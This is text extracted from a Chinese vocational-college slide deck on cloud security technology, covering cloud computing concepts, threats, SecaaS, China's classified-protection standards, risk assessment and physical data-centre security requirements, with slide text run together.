云安全技术应用高职PPT完整全套教学课件

云安全技术应用1全套PPT课件第一章概述2CONTENTS目录云计算Part1信息安全Part2云安全Part3SecaaSPart43云计算010203云计算的产生云计算的概念云计算的特点1云计算401云计算的产生1云计算虚拟化技术分布式计算海量存储技术面向服务的体系结构（Service-OrientedArchitecture，SOA）技术成熟01云计算的产生1云计算人文需求全球经济一体化提高资源利用率日益复杂的世界数字一代的崛起产业升级和转变消费行为的改变01云计算的产生1云计算合分合“话说天下大势，分久必合，合久必分……”----《三国演义》卷首语02云计算的概念1云计算8云计算是一种信息服务交付模式。它可以便捷地、按需地实现对共享计算资源的访问，访问通过网络进行，资源池(如网络、服务器、存储、应用程序、服务等)是可配置的，配置可通过人机交互快速实现。服务3云计算的特点1云计算按需自服务用户可以在需要时自动配置计算能力，例如服务器时间和网络存储，根据需要自动计算能力，而无需与服务供应商的服务人员交互。宽带接入服务能力通过网络提供，支持各种标准接入手段，包括各种瘦或胖客户端平台（例如移动电话、笔记本电脑、或PDA），也包括其它传统的或基于云的服务。虚拟化的资源“池”提供商的计算资源汇集到资源池中，使用多租户模型，按照用户需要，将不同的物理和虚拟资源动态地分配或再分配给多个消费者使用。资源的例子包括存储、处理、内存、网络带宽以及虚拟机等。即使是私有的“云”往往也趋向将资源虚拟“池”化来为组织的不同部门提供服务。快速弹性架构服务能力可以快速、弹性地供应–在某些情况下自动地–实现快速扩容、快速上线。对于用户来说，可供应的服务能力近乎无限，可以随时按需购买。可测量的服务云系统之所以能够自动控制优化某种服务的资源使用，是因为利用了经过某种程度抽象的测量能力（例如存储、处理、带宽或者活动用户账号等）。人们可以监视、控制资源使用、并产生报表，报表可以对提供商和用户双方都提供透明。3云计算的特点-服务模式1云计算3云计算的特点-部署模式1云计算云安全技术应用12第一章概述13CONTENTS目录云计算Part1信息安全Part2云安全Part3SecaaSPart414信息安全010203信息安全的定义信息安全问题的根源及特征信息安全属性及视角2信息安全1501信息安全的定义2信息安全ISO对信息安全的定义“为数据处理系统建立和采取技术、管理的安全保护，保护计算机硬件、软件、数据不因偶然的或恶意的原因而受到破坏、更改、泄露”其他相关定义美国法典中的定义欧盟的定义我国相关标准的定义：信息安全是指信息系统（包括硬件、软件、数据、人、物理环境及其基础设施）受到保护，不受偶然的或者恶意的原因而遭到破坏、更改、泄露，系统连续可靠正常地运行，信息服务不中断，最终实现业务连续性。01信息安全的定义2信息安全狭义的信息安全问题是建立在以IT技术为主的安全范畴广义的信息安全问题是一个跨学科领域的安全问题安全的根本目的是保证组织业务可持续性运行信息安全应该建立在整个生命周期中所关联的人、事、物的基础上，综合考虑人、技术、管理和过程控制，使得信息安全不是一个局部而是一个整体安全要考虑成本因素信息系统不仅仅是业务的支撑，而是业务的命脉02信息安全问题的根源及特征2信息安全18信息安全问题的根源内因：信息系统复杂性导致漏洞的存在不可避免外因：环境因素、人为因素信息安全的特征系统的安全动态的安全无边界的安全非传统的安全3信息安全属性及视角2信息安全基本属性保密性完整性可用性其他属性真实性可问责性不可否认性可靠性3信息安全属性及视角2信息安全国家视角网络战国家关键基础设施保护法律建设与标准化商业视角业务连续性管理可遵循的资产保护合规性个人视角隐私保护社会工程学个人电子资产安全云安全技术应用21第一章概述22CONTENTS目录云计算Part1信息安全Part2云安全Part3SecaaSPart423云安全010203云安全问题云安全模型云安全的两个方向3云安全2401云安全问题3云安全云安全事故2011年4月22日，亚马逊云数据中心服务器大面积宕机2011年3月,谷歌邮箱再次爆发大规模的用户数据泄漏事件2009年3月17日,微软云计算平台Azure停止运行2010年1月,S宕机01云安全问题3云安全当今重要的云安全问题数据拥有者和数据处理者之间的临界质量1匿名数据中心和设备地域2用虚拟控制替代物理控制3云会改变安全现状5身份管理变得非常重要401云安全问题3云安全主要威胁恶意使用1恶意业内人士2数据丢失/数据泄漏3不安全的API5共享技术潜在风险401云安全问题3云安全恶意使用说明攻击者使用云的理由与合法消费者相同——低成本进行巨量处理影响密码破解、DDoS、恶意存取、垃圾邮件、c&c服务器、CAPTCHA破解等举例现在在中搜索MalwareDomainL，可获得21个结果“过去三年中，ScanSafe记录了与amazonaws相关的80个恶意事件”–ScanSafe博客Amazon的EC2出现了垃圾邮件和恶意软件的问题-Slashdot01云安全问题3云安全恶意业内人士说明云供应商的员工可能滥用权力访问客户数据减少内部进程的可见性可能会妨碍探测这种违法行为影响数据保密性和完整性名誉损失法律后果举例根据Verizon的2010数据泄漏调查报告,48%的数据泄漏是业内人士造成的。在云计算环境下的情况可能更加严重。01云安全问题3云安全数据丢失/数据泄漏说明由于不合适的访问控制或弱加密造成数据破解因为多租户结构，不够安全的数据风险较高影响数据完整性和保密性举例研究详细技术，确保图像位于相同的物理硬件中，然后利用跨虚拟机攻击检查数据泄漏01云安全问题3云安全未来的主要问题全球范围内不兼容的法律和政策非标准私有云和公有云缺少持续性风险管理和符合性监控不完整的身份管理对安全事件的杂乱回应02云安全模型3云安全SaaSPaaSIaaS接入门户边界双向身份鉴别业务流边界用户隐私保护虚拟机行为审计私有云公有云混合云云服务交付云服务信任云服务运营用户安全需求等保符合度02云安全模型3云安全治理和企业风险管理法律和电子发现符合性和审计信息生命周期管理可移植性和互用性安全、商务、控制和运作复原数据中心运营事件反应、通知和整治应用程序安全加密和密钥管理身份和访问管理虚拟化云结构云运行云治理/guidance云安全联盟云计算关键领域安全指南02云安全模型3云安全3云安全的两个方向3云安全云计算安全安全云3云安全的两个方向3云安全保护云计算本身的安全——云计算安全“也许我们起名叫‘云计算’本身就是一个失误，因为这名字很容易让人感觉有趣和安全。但事实上，网络中充满了威胁和险恶，如果我们当初把它叫做‘沼泽计算(swampcomputing)’或许更能够让人们对它有一个正确的认识。”RonaldL.RivestRSA算法设计者3云安全的两个方向3云安全保护云计算本身的安全——云计算安全3云安全的两个方向3云安全安全作为云计算的一种服务——安全云一种具体应用，使用云计算技术提供安全服务（杀毒软件厂商提出）3云安全的两个方向3云安全威胁样本

(Email,Web,File)多重关联分析EndpointGatewayOffNetworkNetworkManagement威胁分析TrendLabs&

MalwareDatabaseWeb信誉URLFile信誉Files邮件信誉IP安全威胁VerificationAnalysisCorrelationPackaging数据收集客户合作伙伴TrendLabs研发中心样本提交密罐Web挖掘自动提交行为分析PartnersISPsRoutersEtc.3云安全的两个方向3云安全12研究方向更加明确分析“云安全”的数据，可以全面精确的掌握“安全威胁”动向。分析模式的改变“云安全”的出现，使原始的传统病毒分析处理方式，转变为“云安全”模式下的互联网分析模式。3防御模式的改变“云安全”使得网络安全防御模式由被动式向主动式转变。41互联网用户云安全中心云安全客户端用户计算机用户计算机用户计算机用户计算机用户计算机来源挖掘威胁挖掘集群数据分析威胁信息数据中心即时升级服务器即时查杀平台自动分析处理系统互联网内容下载网站门户网站搜索网站恶意威胁“云杀毒”：它融合了并行处理、网格计算、未知病毒行为判断等新兴技术和概念，通过网状的大量客户端对网络中软件行为的异常监测，获取互联网中木马、最新程序的信息，推送到Server端进行自动分析和处理，再把病毒和木马的解决方案分发到每一个客户端。云安全技术应用43第一章概述44CONTENTS目录云计算Part1信息安全Part2云安全Part3SecaaSPart445SecaaS010203SecaaS的概念SecaaS的特点SecaaS的主要服务4SecaaS4601SecaaS的概念4SecaaS安全即服务（Securityasaservice，SecaaS）是一种通过云计算方式交付的安全服务，此种交付形式可避免采购硬件带来的大量资金支出。这些安全服务通常包括认证、反病毒、反恶意软件/间谍软件、入侵检测、安全事件管理等。SecaaS包括通过云服务方式提供的安全产品或服务。Cloudfence蓝盾网站安全云02SecaaS的特点4SecaaS优势云计算优势。云计算的通常潜在优势（例如降低资本成本、敏捷性、冗余性、高可用性和弹性）都适用于SecaaS。人员配置和专业知识。智能共享。SecaaS提供商同时保护多个客户，将有机会在客户相互间共享信息情报和数据。部署灵活性。SecaaS可能会更好地支持不断发展的工作场所和云迁移，因为它本身就是使用互联网访问和弹性的云计算模式提供的。客户无感知。在某些情况下，SecaaS可以在组织受到攻击之前直接拦截攻击，例如，垃圾邮件过滤和基于云的Web应用程序防火墙部署在攻击者和组织之间。他们可以在达到客户资产之前处理某些攻击。伸缩和成本。云模式为消费者提供了“按您的成长付费”模式，这也有助于组织专注于其核心业务，并将安全问题留给专家。隐患能见度不足。由于安全即服务的运行是从客户中迁移过来的，因此与运行自己的操作相比，它们往往提供较少的可见性或数据。监管差异。鉴于全球监管要求，SecaaS供应商可能无法实现以确保组织在所有司法管辖区的合规。处理监管的数据。数据泄漏。更换供应商。迁移到SecaaS。4SecaaS3SecaaS的主要服务身份认证，授权和访问管理服务云访问安全代理（CASB，又称云安全网关）Web安全（Web安全网关）电子邮件安全安全评估Web应用程序防火墙（WAF）入侵检测/防御（IDS/IPS）安全信息与事件管理（SIEM）加密和密钥管理业务连续性和灾难恢复安全管理分布式拒绝服务保护summary小结云安全云计算安全云计算系统本身的安全“建云”“用云”“运维”云SecaaS安全作为一种云计算服务云认证云访问安全网关云WAF、云IDS分布式拒绝服务保护云查杀病毒信息安全新的应用…………数据安全、虚拟化安全媒体口中的“云安全”谢谢观看51云安全技术应用52第2章云计算系统安全保障53CONTENTS目录概述Part1云计算安全标准和规范Part2云计算安全等级保护Part3云计算安全风险评估Part454云计算安全技术体系Part501云计算系统安全保障的概念2.1概述随着信息技术发展的变革，信息安全发展经历了通信安全、计算机安全、网络安全、信息安全保障、网络空间安全等阶段。进入网络空间安全阶段，互联网已经将传统的虚拟世界与物理世界相互连接，形成网络空间。“工云大移物智”（工业控制、云计算、大数据、移动互联、物联网、人工智能）等新技术领域融合带来新的安全风险。网络空间安全的核心，强调“威慑”的概念，将防御、威慑和利用结合成三位一体的网络空间安全保障。信息系统安全保障是指在信息系统的整个生命周期中，通过对信息系统的风险分析，制定并执行相应的安全保障策略，从技术、管理、工程和人员等方面提出安全保障要求，确保信息系统的保密性、完整性和可用性，降低安全风险到可接受的程度，从而保障系统实现组织机构的使命。云计算系统安全保障包含传统信息系统安全保障工作，并不限于此。除了保障自身安全的CIA三要素以外，还需要保证为云用户提供安全可靠的云计算服务，保证云用户的数据安全、隐私安全、业务连续性等，有些云服务商还为客户提供云安全扫描、云审计等云安全服务。01信息系统安全保障模型2.1概述国家标准GB/T20274.1-2006《信息安全技术信息系统安全保障评估框架第一部分：简介和一般模型》（1）信息系统安全保障应贯穿信息系统的整个生命周期，包括规划组织、开发采购、实施交付、运行维护和废弃5个阶段，以获得信息系统安全保障能力的持续性。（2）强调综合保障的观念，通过综合技术、管理、工程和人员等四个保障要素来实施和实现信息系统的安全保障目标，通过对技术、管理、工程和人员要求的评估，提供对信息系统安全保障的信心。（3）信息系统安全保障是基于过程的保障。通过风险识别、风险分析、风险评估、风险控制等风险管理活动，降低信息系统的风险，从而实现信息系统安全保障。（4）信息系统安全保障的目的不仅是保护信息和资产的保密性、完整性和可用性等安全要素，更重要是通过保障信息系统安全，保障信息系统所支持的业务的安全，从而达到实现组织机构使命的目的。01信息系统安全保障模型2.1概述

在四个安全保障要素中，信息安全技术主要包括：密码技术、访问控制技术、审计和监控技术、网络安全技术、操作系统技术、数据库安全技术、安全漏洞与恶意代码、软件安全开发等；信息安全工程涉及系统和应用的开发、集成、操作、管理、维护和进化以及产品的开发、交付和升级；信息安全人才保障就是信息安全人才的培养和锻炼；信息安全管理的工作主要包括信息安全管理体系的建立、信息安全标准化、应急处理与信息通报、等级保护、落实风险管理过程、灾难备份与恢复等。01云计算系统安全保障2.1概述云计算系统本质上也属于信息安全系统，所以这个安全保障模型对云计算系统安全保障体系的构建有重要参考意义；第2章云计算系统

安全保障59CONTENTS目录概述Part1云计算安全标准和规范Part2云计算安全等级保护Part3云计算安全风险评估Part460云计算安全技术体系Part501云计算安全标准2.2云计算安全标准和规范标准化是政府进行宏观管理的重要依据，同时也是保护国家利益、促进产业发展的重要手段之一，是云计算产品和系统在设计、研发、生产、建设、使用、测评中的一致性、可靠性、可控性、先进性和符合性的技术规范与依据。目前各国都很重视标准化的工作。中国通信标准化协会（CCSA）工业和信息化部信息技术服务工作组（ITSS）全国信息安全标准化技术委员会（简称“信安标委”，委员会编号为TC260）截止2018年1月1日，信息安全国家标准近300项，云计算相关标准18项。01云计算安全标准2.2云计算安全标准和规范序号标准编号标准名称发布日期实施日期1GB17859-1999计算机信息系统安全保护等级划分准则1999-09-132001-01-012GB/T20274.1-2006信息安全技术信息系统安全保障评估框架第1部分：简介和一般模型2006-05-312006-12-013GB/Z29830.1-2013信息技术安全技术信息技术安全保障框架第1部分：综述和框架2013-11-122014-02-014GB/Z29830.2-2013信息技术安全技术信息技术安全保障框架第2部分：保障方法2013-11-122014-02-015GB/T31495.1-2015信息安全技术信息安全保障指标体系及评价方法第1部分：概念和模型2015-05-152016-01-016GB50174-1993电子计算机机房设计规范1993-02-171993-09-017GB/T20984-2007信息安全技术信息安全风险评估规范2007-06-142007-11-018GB/T33132-2016信息安全技术信息安全风险处理实施指南2016-10-132017-05-019GB/T20278-2013信息安全技术网络脆弱性扫描产品安全技术要求2013-12-312014-07-1510GB/T22239-2008信息安全技术信息系统安全等级保护基本要求2008-06-192008-11-0111GB/T22240-2008信息安全技术信息系统安全等级保护定级指南2008-06-192008-11-0112GB/T25058-2010信息安全技术信息系统安全等级保护实施指南2010-09-022011-02-0113GB/T32399-2015信息技术云计算参考架构2015-12-312017-01-0114GB/T32400-2015信息技术云计算概览与词汇2015-12-312017-01-0115GB/T31168-2014信息安全技术云服务安全能力要求2014-09-032015-04-0116GB/T31167-2014信息安全技术云计算服务安全指南2014-09-032015-04-0117GB/T34942-2017信息安全技术云计算服务安全能力评估方法2017-11-012018-05-0118GB/T34982-2017云计算数据中心基本要求2017-11-012018-05-0119GB/T35279-2017信息安全技术云计算安全参考架构2017-12-292018-07-0120GB/T35293-2017信息技术云计算虚拟机管理通用要求2017-12-292018-07-0121GB/T35301-2017信息技术云计算平台即服务（PaaS）参考架构2017-12-292017-12-2922GA/T1390.2-2017信息安全技术网络安全等级保护基本要求第2部分：云计算安全扩展要求2017-05-082017-05-0801云计算安全标准2.2云计算安全标准和规范《云计算服务安全指南》主要为政府部门及重点行业使用云计算服务提供管理指导，从使用者角度提出了安全指南；《云计算服务安全能力要求》从服务提供者角度提出了能力要求；《云计算服务安全能力评估方法》提出对服务提供商安全服务能力评估的具体方法；《云计算安全参考架构》从3种服务模式与5类角色角度出发，提出了云计算安全参考架构；《网络安全等级保护基本要求第2部分：云计算安全扩展要求》行业标准提出了网络安全等保测评在云计算系统上的安全扩展要求。02云计算安全参考架构2.2云计算安全标准和规范中国国家标准化委员会2017-12-29发布了推荐标准：《信息安全技术云计算安全参考架构》GB/T35279-201703云计算关键领域安全指南2.2云计算安全标准和规范CSA发布的《云计算关键领域安全指南4.0》（SecurityGuidanceforCriticalAreasofFocusinCloudComputingV4.0），从架构（Architectures）、治理（Governance）和运行（Operations）三个方面14个领域对云计算安全进行指导，其中治理和运行涵盖的13个领域着重介绍了云计算安全的关注领域，以解决云计算环境中战略和战术安全的“痛点”（PainPoints），从而可应用于各种云服务和部署模式的组合。D1：云计算概念和体系架构治理域运行域D2：治理和企业风险管理D6：管理平面和业务连续性D3：法律与电子证据D7：基础设施安全D4：合规性和审计管理D8：虚拟化及容器技术D5：信息治理D9：事件响应、通告和补救

D10：应用安全

D11：数据安全和加密

D12：身份、授权和访问管理

D13：安全即服务

D14：相关技术第2章云计算系统安全保障66CONTENTS目录概述Part1云计算安全标准和规范Part2云计算安全等级保护Part3云计算安全风险评估Part467云计算安全技术体系Part501等级保护2.3云计算安全等级保护信息安全等级保护是保障信息安全与信息化建设相协调的重要手段，重点保障基础信息网络和关系国家安全、经济命脉、社会稳定等方面的重要信息系统的安全。在经历了制定准则、规范和标准、强化制度、基础调研、组织试点、快速推进的历程后，等级保护制度已经在全国各地贯彻执行，有力保障了信息系统安全。《信息安全技术网络安全等级保护基本要求第2部分：云计算安全扩展要求》（GA/T1390.2-2017）01等级保护实施流程2.3云计算安全等级保护系统定级等级评审定级备案评估和整改建设等级测评监督检查等保过程中涉及的几个要点：等保原则定级方法测评过程01等级保护实施流程2.3云计算安全等级保护1．等级保护的基本原则信息系统安全等级保护的核心是对信息系统分等级、按标准进行建设、管理和监督。信息系统安全等级保护实施过程中应遵循以下基本原则。（1）自主保护原则信息系统运营、使用单位及其主管部门按照国家相关法规和标准，自主确定信息系统的安全保护等级，自行组织实施安全保护。（2）重点保护原则根据信息系统的重要程度、业务特点，通过划分不同安全保护等级的信息系统，实现不同强度的安全保护，集中资源优先保护涉及核心业务或关键信息资产的信息系统。（3）同步建设原则信息系统在新建、改建、扩建时应当同步规划和设计安全方案，投入一定比例的资金建设信息安全设施，保障信息安全与信息化建设相适应。（4）动态调整原则要跟踪信息系统的变化情况，调整安全保护措施。由于信息系统的应用类型、范围等条件的变化及其他原因，安全保护等级需要变更的，应当根据等级保护的管理规范和技术标准的要求，重新确定信息系统的安全保护等级，根据信息系统安全保护等级的调整情况，重新实施安全保护。01等级保护实施流程2.3云计算安全等级保护2．定级方法《信息系统安全等级保护基本要求》（GB/T22239-2008）将信息系统作为保护对象，按照信息系统的重要程度分为五个保护级别，信息系统的重要程度又由两个定级要素、三类侵害客体、三种侵害程度决定。（1）两个定级要素信息系统的安全保护等级由两个定级要素决定：等级保护对象受到破坏时所侵害的客体和对客体造成侵害的程度。（2）三类侵害客体等级保护对象受到破坏时所侵害的客体包括以下三个方面：公民、法人和其他组织的合法权益；社会秩序、公共利益；国家安全。（3）三种侵害程度对客体的侵害程度由客观方面的不同外在表现综合决定。由于对客体的侵害是通过对等级保护对象的破坏实现的，因此，对客体的侵害外在表现为对等级保护对象的破坏，通过危害方式、危害后果和危害程度加以描述。等级保护对象受到破坏后对客体造成侵害的程度归结为以下三种：造成一般损害；造成严重损害；造成特别严重损害。（4）五级安全保护等级01等级保护实施流程2.3云计算安全等级保护2．定级方法（4）五级安全保护等级受侵害的客体对客体的侵害程度一般损害严重损害特别严重损害公民、法人和其他组织的合法权益第一级第二级第二级社会秩序、公共利益第二级第三级第四级国家安全第三级第四级第五级01等级保护实施流程2.3云计算安全等级保护3．测评过程安全等保测评工作由具有测评资质、并由国家信息安全等级保护工作协调小组办公室推荐的测评机构展开。测评过程一般包含测评准备、方案编制、现场测评、分析与报告编制等四个步骤。测评过程具体内容测评准备测评机构启动测评项目，组建测评项目组；通过收集和分析被测系统的相关资料信息，掌握被测系统的大体情况；准备测评工具和表单等测评所需的相关资料，为编制测评方案打下良好的基础。方案编制测评机构确定测评对象和测评指标，选择测试工具接入点，从而进一步确定测评实施内容，并从已有的测评实施手册中选择本次需要用到的测评实施手册，没有测评实施手册的应开发相应的测评实施手册，最后根据上述情况编制测评方案。现场测评测评机构首先应与测评委托单位就测评方案达成一致意见，并进一步确定测评配合人员，商定测评时间、地点等细节，开展现场测评，完成测评实施手册各项测评内容，获取足够的测评证据。分析与报告编制测评人员通过分析现场测评获得的测评证据和资料，判定单项测评结果及单元测评结果，并进行整体测评和风险分析，形成等级测评结论，并编制测评报告。01等级保护实施流程2.3云计算安全等级保护02云计算安全测评2.3云计算安全等级保护1．定级对象针对云计算平台开展等级测评工作首先需要明确定级对象。《信息系统安全等级保护定级指南》（GB/T222240-2008，以下简称《定级指南》）中明确表明作为定级对象的信息系统应具有唯一确定的安全责任单位，承载单一或相对独立的业务应用。云计算环境下，信息系统业务涉及到双方甚至多方安全主体，所以针对云计算平台的特殊性，应采用“双向”定级方法（1）云服务商负责确定云平台的安全保护能力等级。云平台服务商根据自身的安全建设能力、安全服务能力以及安全控制措施实现情况，委托独立的第三方测评机构开展并通过等级测评，确定提供的服务模式以及云平台安全级别，该级别为安全保护能力等级。（2）用户根据数据和业务的重要程度，参照《定级指南》明确业务系统安全级别，该级别为业务系统的重要性安全等级。原则上，云服务商不能向高于云平台安全保护能力等级的业务系统提供服务，反之，用户不应该选择低于自身业务系统安全级别的云平台承载业务或处理数据。02云计算安全测评2.3云计算安全等级保护测评层面划分原有测评指标新增测评指标新增测评内容技术方面物理安全物理位置的选择、物理访问控制、防盗窃和防破坏、防雷击、防火、防水和防潮、防静电、温湿度控制、电力供应、电磁防护

物理位置的选择网络安全结构安全、访问控制、安全审计、剩余信息保护、边界完整性检查、入侵防范、恶意代码防范、网络设备防护网络架构访问控制、入侵防范、安全审计主机安全身份鉴别、安全标记、访问控制、安全审计、可信路径、剩余信息保护、入侵防范、恶意代码防范、资源控制镜像和快照保护身份鉴别、访问控制、安全审计、入侵防范、恶意代码防范、资源控制应用安全身份鉴别、安全标记、访问控制、安全审计、可信路径、剩余信息保护、通信完整性、通信保密性、抗抵赖、软件容错、资源控制接口安全安全审计、资源控制数据安全及备份恢复数据完整性、数据保密性、备份和恢复剩余信息保护数据完整性、数据保密性、数据备份恢复管理方面安全管理制度管理制度、制定和发布、评审和修订

安全管理机构岗位设置、人员配备、授权和审批、沟通和合作、审核和检查

授权人员安全管理人员录用、人员离岗、人员考核、安全意识教育和培训、外部人员访问管理

人员录用系统建设管理系统定级、安全方案设计、产品采购和使用、自行软件开发、外包软件开发、工程实施、测试验收、系统交付、系统备案、等级测评、安全服务商选择云服务商选择、供应链管理安全方案设计、测试验收系统运维管理环境管理、资产管理、介质管理、设备管理、监控管理和安全管理中心、网络安全管理、系统安全管理、恶意代码防范管理、密码管理、变更管理、备份与恢复管理、安全事件处置、应急预案管理配置管理、监控和审计管理环境管理第2章云计算系统安全保障77CONTENTS目录概述Part1云计算安全标准和规范Part2云计算安全等级保护Part3云计算安全风险评估Part478云计算安全技术体系Part501风险评估的概念2.4云计算安全风险评估风险评估是针对事物潜在影响正常执行其职能的行为产生干扰或者破坏的因素进行识别、评价的过程，是风险管理的重要内容。风险评估的相关要素包括：资产、威胁、脆弱性、安全风险、安全措施、残余风险等。01风险评估的概念2.4云计算安全风险评估（1）资产

资产是对组织具有价值的信息或资源，是安全策略保护的对象。（2）威胁

威胁是可能导致对系统或组织产生危害的潜在起因，威胁可以通过威胁主体、资源、动机、途径等多种属性来描述，是引起风险的外因。（3）脆弱性

脆弱性是可能被威胁所利用的资产或若干资产的薄弱环节，对信息系统而言通常是是系统漏洞或、网络漏洞、管理漏洞等，是引起风险的内因。脆弱性和威胁出现的频率决定安全事件发生的可能性；脆弱性和资产价值决定安全事件造成的损失。（4）风险人为或自然的威胁利用信息系统及其管理体系中存在的脆弱性导致安全事件的发生及其对组织造成的影响。信息安全风险只考虑那些对组织有负面影响的事件。02云计算面临的安全威胁2.4云计算安全风险评估1．数据丢失、篡改或泄露2．网络攻击3．利用不安全接口的攻击4．云服务中断5．越权、滥用与误操作6．滥用云服务7．利用共享技术漏洞进行的攻击8．过度依赖9．数据残留03云计算系统脆弱性扫描2.4云计算安全风险评估脆弱性扫描是风险评估的基础，其原理是根据已知的安全漏洞知识库，使用扫描工具模拟黑客真实的攻击步骤，通过网络对目标可能存在的安全隐患进行逐项检査，扫描目标包括服务器、交换机、路由器、数据库等各种网络对象和应用服务对象。1．启明星辰天镜脆弱性扫描与管理系统2．天融信脆弱性扫描与管理系统3．Nessus4．AcunetixWVS04云计算安全风险分析2.4云计算安全风险评估1．云计算法律风险（1）数据跨境（2）违规云服务（3）隐私保护（4）取证困难（5）责任界定风险2．政策与组织风险（1）过度依赖风险（可移植性风险）（2）可审查性风险（合规风险）04云计算安全风险分析2.4云计算安全风险评估3．云计算技术安全风险（1）数据泄露风险（2）隔离失败风险（3）应用程序接口（API）滥用风险（4）业务连续性风险（5）基础设施不可控风险（6）运营风险（7）恶意人员风险第2章云计算系统安全保障85CONTENTS目录概述Part1云计算安全标准和规范Part2云计算安全等级保护Part3云计算安全风险评估Part486云计算安全技术体系Part52.5云计算安全技术体系根据云计算的技术特征和服务特点，云计算安全技术需要从四个方面着手，构建纵深防御体系，保障云计算安全。这四个方面是：安全接入（基础设施安全）、虚拟化、资源共享、应用服务。1．接入安全基础设施安全保障是一切工作的基础，而网络接入安全是保障安全开展云计算服务的基础。2.5云计算安全技术体系2．虚拟化虚拟化技术在云计算中处于相当重要的位置，虚拟化技术的应用使原有信息系统中存在的边界不复存在，因而虚拟机安全成为牵一发而动全身的关键环节。现阶段虚拟化技术存在安全缺陷，给虚拟化技术带来了很大的挑战，也给云计算系统的安全带来了很大的风险。2.5云计算安全技术体系3．资源共享多租户技术中最重要的安全问题就是不同用户之间的数据安全问题，主要体现在：如何保证用户数据存储安全；如何保证数据和应用程序运行环境的隔离；如何防止云服务商和其他用户的非授权访问、恶意篡改、破坏等。云计算的三种服务模式决定了多租户可以在三个层面实现：数据层面（多个租户共享同一个应用程序实例）、进程层面（多个租户分属同一个运算环境下的不同进程）、系统层面（不同租户分配不同的虚拟机）。2.5云计算安全技术体系4．应用服务云应用软件服务的安全性直接影响云用户对云环境的信赖性。主要从三个方面来部署：用户数据安全保护、云应用软件内容安全保护、云应用软件自身的安全保护。2.5云计算安全技术体系第3章基础设施安全92CONTENTS目录基础设施安全Part1网络通信安全Part2网络安全设备Part3项目实训Part4基础设施安全基础设施安全是云计算安全运行的基础，云计算的一切都建立在其之上。基础设施安全是最底层的安全，从物理设施到用户的配置和基础设施组件的实现，包括计算（负载）、网络和存储安全，是云计算安全中所有其他内容的基本组成部分。基础设施安全有两个层面（1）物理资源层（2）逻辑/抽象资源层物理安全概念物理安全是一切安全的起点，物理安全机制与云计算其他的安全机制同样重要。根据SageResearch的一项研究结果显示，在实践过程中，80%的网络故障都归结于物理安全。云计算物理系统由承载信息的各种硬件设备、云计算数据中心所处的物理环境以及由软件、硬件构建而成的云计算系统三个部分组成。物理安全也称实体安全包括设备安全、环境安全/设施安全、介质安全、管理和人员安全等

物理安全面临的威胁物理安全威胁自然灾害环境影响物理攻击物理安全的具体措施编号安全控制点测评指标1物理位置选择（G3）机房和办公场地应选择在具有防震、防风和防雨等能力的建筑内；2机房场地应避免设在建筑物的高层或地下室，以及用水设备的下层或隔壁。3物理访问控制（G3）机房出入口应安排专人值守，控制、鉴别和记录进入的人员；4需进入机房的来访人员应经过申请和审批流程，并限制和监控其活动范围；5应对机房划分区域进行管理，区域和区域之间设置物理隔离装置，在重要区域前设置交付或安装等过渡区域；6重要区域应配置电子门禁系统，控制、鉴别和记录进入的人员。7防盗窃和防破坏（G3）应将主要设备放置在机房内；8应将设备或主要部件进行固定，并设置明显的不易除去的标记；9应将通信线缆铺设在隐蔽处，可铺设在地下或管道中；10应对介质分类标识，存储在介质库或档案室中；11应利用光、电等技术设置机房防盗报警系统；12应对机房设置监控报警系统。13防雷击（G3）机房建筑应设置避雷装置；14应设置防雷保安器，防止感应雷；15机房应设置交流电源地线。16防火（G3）机房应设置火灾自动消防系统，能够自动检测火情、自动报警，并自动灭火；17机房及相关的工作房间和辅助房应采用具有耐火等级的建筑材料；18机房应采取区域隔离防火措施，将重要设备与其他设备隔离开。19防水和防潮（G3）水管安装，不得穿过机房屋顶和活动地板下；20应采取措施防止雨水通过机房窗户、屋顶和墙壁渗透；21应采取措施防止机房内水蒸气结露和地下积水的转移与渗透；22应安装对水敏感的检测仪表或元件，对机房进行防水检测和报警。23防静电（G3）关键设备应采用必要的接地防静电措施；24机房应采用防静电地板。25温湿度控制（G3）机房应设置温、湿度自动调节设施，使机房温、湿度的变化在设备运行所允许的范围之内。26电力供应（A3）应在机房供电线路上配置稳压器和过电压防护设备；27应提供短期的备用电力供应，至少满足关键设备在断电情况下的正常运行要求；28应设置冗余或并行的电力电缆线路为计算机系统供电；29应建立备用供电系统。30电磁防护（S3）应采用接地方式防止外界电磁干扰和设备寄生耦合干扰；31电源线和通信线缆应隔离铺设，避免互相干扰；32应对关键设备和磁介质实施电磁屏蔽。谢谢观看98云安全技术应用99第3章基础设施安全100CONTENTS目录物理安全Part1网络通信安全Part2网络安全设备Part3项目实训Part4机房的安全等级1计算机房场地的安全要求2物理安全-电子信息机房及环境安全机房洁净度、温度和湿度要求3防静电措施4机房的防火与防水措施5接地与防雷6（1）机房的安全等级机房的安全按计算机系统要求可分为三级：A级、B级和C级。A级——对计算机机房的安全有严格的要求，有完善的计算机机房安全措施。B级——对计算机机房的安全有较严格的要求，有较完善的计算机机房安全措施。C级——对计算机机房的安全有基本的要求，有基本的计算机机房安全措施。（2）计算机房场地的安全要求对计算机机房场地的安全要求可以从以下3个方面考虑：1.机房安全与场地要求2.机房内部管理与维护3.机房建筑和结构的安全要求（3）机房洁净度、温度和湿度要求

（1）洁净度要求。灰尘会造成接插件的接触不良、发热元件的散热效率降低、绝缘破坏，甚至造成击穿；灰尘还会增加机械磨损，尤其对驱动器和盘片，灰尘不仅会使读出、写入信息出现错误，而且会划伤盘片，甚至损坏磁头。因此，计算机房必须有除尘、防尘的设备和措施，保持清洁卫生，以保证设备的正常工作。（2）温度要求。计算机系统内有许多元器件，不仅发热量大而且对高温、低温敏感。机房温度一般应控制在18~24℃，即（22±2）℃。（3）湿度要求。计算机对空气湿度的要求相对较高，最佳范围是40％至70％。湿度过大，会使电脑元件的接触性变差，甚至被腐蚀，电脑也就容易出现硬件方面的故障。另一方面，如果机房湿度过低，又不利于机器内部随机动态存储器关机后存储电量的释放，也容易产生静电。（4）防静电措施1.静电对计算机的影响静电对电子计算机的影响表现有两种类型，一种是元件损害，一种是引起计算机误动作或运算错误。此外静电对计算机的外部设备也有明显的影响。带阴极射线管的显示设备，当受到静电干扰时，会引起图像紊乱，模糊不清。静电还将造成Modem、网卡、Fax等工作失常，打印机的走线不顺等故障。2.静电的防范机房内一般应采用乙烯材料装修，避免使用挂毯、地毯等吸尘、容易产生静电的材料。为了防静电机房一般安装防静电地板，并将地板和设备接地以便将物体积聚的静电迅速排泄到大地。机房内的专用工作台或重要的操作台应有接地平板。此外，工作人员的服装和鞋最好用低阻值的材料制作，机房内应保持一定湿度，在北方干燥季节应适当加湿，以免因干